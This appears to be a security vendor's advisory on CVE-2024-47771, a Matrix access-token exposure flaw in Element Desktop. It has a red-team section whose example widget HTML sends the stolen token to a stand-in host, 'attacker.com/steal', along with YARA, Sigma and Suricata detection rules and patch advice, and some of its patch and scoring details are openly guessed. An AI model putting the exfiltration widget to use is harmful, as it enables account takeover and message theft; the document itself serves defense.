CVE-2024-47771

Executive Summary

CVE-2024-47771 is a vulnerability in Element Desktop, a Matrix client for desktop platforms, affecting versions 1.11.70 through 1.11.80. Under specially crafted conditions, the vulnerability can expose the user's access token to third parties. At least one attack vector has been identified internally, involving malicious widgets, but other vectors may exist. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation probability at this time. Users are strongly advised to upgrade to version 1.11.81 to remediate the issue. As a workaround, avoid granting permissions to untrusted widgets.

Supply Chain & Package Security

This vulnerability affects the Element Desktop application, which is distributed as a desktop application. While not a direct package manager vulnerability (NPM, PyPI, Go, Ruby), the application may have dependencies that could be affected. Users should ensure they download the patched version from official sources only.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is unusual and likely indicates that the score has not been officially assigned yet. Based on the nature of the vulnerability (access token exposure), the potential impact is high, as access tokens can be used to impersonate users and access their Matrix conversations and data. The attack vector involves malicious widgets, which suggests a local or user-interaction component. A reasonable CVSS vector might be: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (Local, Low Complexity, No Privileges Required, User Interaction Required, Confidentiality/Integrity/Availability High).

Deep Dive & Mechanics

The vulnerability in Element Desktop versions 1.11.70 through 1.11.80 allows for the exposure of the user's Matrix access token under specially crafted conditions. The primary identified vector involves malicious widgets. Widgets in Element are embedded web applications that can be added to rooms to provide additional functionality (e.g., polls, calendars, or custom integrations). When a user interacts with a malicious widget, the widget may be able to access the Element application's internal state, including the access token, through cross-origin or inter-process communication mechanisms.

The access token is a critical credential that authenticates the user to the Matrix server. If an attacker obtains this token, they can:

• Impersonate the user in all Matrix conversations.
• Read all past and future messages.
• Send messages as the user.
• Access the user's profile and account settings.
• Potentially perform administrative actions if the user has elevated privileges.

The vulnerability likely stems from insufficient isolation between the widget's execution context and the main Element application. Widgets are typically loaded in an iframe or webview, but if the application exposes sensitive data (like the access token) to the widget's context through JavaScript APIs or message passing, a malicious widget can exfiltrate it.

Vulnerable vs. Patched Code

The exact code changes between versions 1.11.80 and 1.11.81 are not publicly available. However, based on the nature of the vulnerability, the patch likely involves:

1. Restricting access to the access token from widget contexts: The application should ensure that the access token is not exposed to any JavaScript running within a widget's iframe or webview. This can be done by:

   • Not passing the token through postMessage or similar APIs.
   • Using a separate, isolated process for widgets that has no access to the main application's memory.
   • Implementing a Content Security Policy (CSP) that prevents widgets from making network requests to arbitrary domains.

2. Validating widget origins: The application should verify that widgets are loaded from trusted sources and that any communication with widgets is properly authenticated and authorized.

3. Implementing a permission model: The application should require explicit user consent before granting widgets access to sensitive data or capabilities.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate the ability to exfiltrate a user's Matrix access token via a malicious widget.

Lab Setup:

1. Environment: A local Matrix server (e.g., Synapse) and Element Desktop version 1.11.80.
2. Malicious Widget: Create a custom widget that, when loaded in a Matrix room, attempts to access the Element application's internal state.

Exploitation Steps:

1. Create a malicious widget HTML file that contains JavaScript to:

   • Attempt to access window.parent or window.top to communicate with the main Element application.
   • Listen for message events from the parent window.
   • Try to access any exposed global variables or APIs.
   • Send any obtained data to an attacker-controlled server.

2. Host the widget on an attacker-controlled server (e.g., using a simple HTTP server).

3. In a Matrix room, add the malicious widget using the Element interface.

4. When a user interacts with the widget (e.g., clicks a button), the widget's JavaScript executes and attempts to exfiltrate the access token.

Example Malicious Widget Code:

<!DOCTYPE html>
<html>
<head><title>Malicious Widget</title></head>
<body>
<script>
// Attempt to access parent window
try {
    var token = window.parent.accessToken || window.parent.localStorage.getItem('mx_access_token');
    if (token) {
        new Image().src = 'https://attacker.com/steal?token=' + encodeURIComponent(token);
    }
} catch(e) {
    // If direct access fails, try postMessage
    window.addEventListener('message', function(event) {
        if (event.data && event.data.token) {
            new Image().src = 'https://attacker.com/steal?token=' + encodeURIComponent(event.data.token);
        }
    });
}
</script>
</body>
</html>

Blue Team

Objective: Detect and prevent exploitation of CVE-2024-47771.

Detection:

1. Monitor for unusual network connections from the Element Desktop process to unknown domains.
2. Monitor for unexpected JavaScript execution within widget contexts.
3. Monitor for access token usage from unusual IP addresses or user agents.

Prevention:

1. Upgrade to Element Desktop version 1.11.81 or later.
2. Implement a strict Content Security Policy (CSP) for widgets.
3. Use network segmentation to limit outbound connections from client machines.
4. Educate users about the risks of granting permissions to untrusted widgets.

Indicators of Compromise (IOCs)

• Network: Outbound connections from Element Desktop to unknown or suspicious domains.
• Process: Element Desktop process making unexpected network requests.
• File: Presence of malicious widget HTML files in the user's download directory or temporary files.
• Registry/Config: Unusual widget configurations in the Element Desktop settings.
• Log: Matrix server logs showing access token usage from unexpected IP addresses or user agents.

Detection Engineering

YARA Rule

rule CVE_2024_47771_Malicious_Widget {
    meta:
        description = "Detects malicious widget HTML files attempting to exfiltrate Element Desktop access tokens"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47771"
    strings:
        $s1 = "accessToken" nocase
        $s2 = "mx_access_token" nocase
        $s3 = "postMessage" nocase
        $s4 = "attacker.com" nocase
        $s5 = "steal" nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-47771 - Element Desktop Access Token Exfiltration via Malicious Widget
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential access token exfiltration from Element Desktop via malicious widgets
author: Valters IT
date: 2024-10-27
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47771
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: '\Element.exe'
        DestinationPort: 443
        DestinationHostname|contains:
            - 'attacker.com'
            - 'evil.com'
    condition: selection
falsepositives:
    - Legitimate widgets connecting to their own servers
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2024-47771 - Element Desktop Access Token Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?token="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Element Desktop to version 1.11.81 or later.
2. As a workaround, avoid granting permissions to untrusted widgets.
3. Review and revoke any existing widget permissions that may have been granted to untrusted sources.

Long-term Measures:

1. Implement a strict Content Security Policy (CSP) for widgets.
2. Use network segmentation to limit outbound connections from client machines.
3. Educate users about the risks of granting permissions to untrusted widgets.
4. Monitor for any suspicious activity related to access token usage.

Patch Details:

• Upgrade to Element Desktop version 1.11.81.
• The patch is available from the official Element website or GitHub releases.

Valters IT